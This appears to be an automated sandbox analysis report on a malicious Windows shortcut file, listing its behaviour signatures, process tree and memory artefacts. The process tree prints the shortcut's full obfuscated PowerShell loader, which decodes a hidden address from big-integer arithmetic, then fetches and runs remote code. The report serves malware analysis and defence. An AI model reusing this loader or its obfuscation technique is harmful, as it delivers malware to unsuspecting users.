Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/07/2026, 12:16

General

  • Target
    photov_319175877519.lnk
  • Size 1KB
  • Sample260727-pfymdsssfv
  • SHA256 6058274afe112309763e8848990a0473c0d156f72a3f6abc891b20967d19c3bd
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_319175877519.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5084
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$zvsi=12;$d164=67;$pl4jfrsm=81;$x28rcs9jx=[bigint]::Parse('131966350362349071697070459936419018321765798');$ji0cjku=[bigint]::Parse('122014657961642006375062235513602462516691501');$x28rcs9jx=$x28rcs9jx-$ji0cjku;$kby_ylt5x=@();while($x28rcs9jx -gt 0){$kby_ylt5x+=[char][int]([bigint]::Remainder($x28rcs9jx,256));$x28rcs9jx=[bigint]::Divide($x28rcs9jx,256)};.([scriptblock]::Create((irm(-join$kby_ylt5x))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$zvsi=12;$d164=67;$pl4jfrsm=81;$x28rcs9jx=[bigint]::Parse('131966350362349071697070459936419018321765798');$ji0cjku=[bigint]::Parse('122014657961642006375062235513602462516691501');$x28rcs9jx=$x28rcs9jx-$ji0cjku;$kby_ylt5x=@();while($x28rcs9jx -gt 0){$kby_ylt5x+=[char][int]([bigint]::Remainder($x28rcs9jx,256));$x28rcs9jx=[bigint]::Divide($x28rcs9jx,256)};.([scriptblock]::Create((irm(-join$kby_ylt5x))))"
        3⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4496

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_gi2ubeg5.udr.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gi2ubeg5.udr.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/4496-0-0x0000025538890000-0x00000255388A0000-memory.dmp

        memory/4496-1-0x00000255202A0000-0x00000255202C2000-memory.dmp

        memory/4496-9-0x0000025538890000-0x00000255388A0000-memory.dmp

        memory/4496-10-0x0000025538890000-0x00000255388A0000-memory.dmp

        memory/4496-11-0x0000025538890000-0x00000255388A0000-memory.dmp

        memory/4496-12-0x0000025538890000-0x00000255388A0000-memory.dmp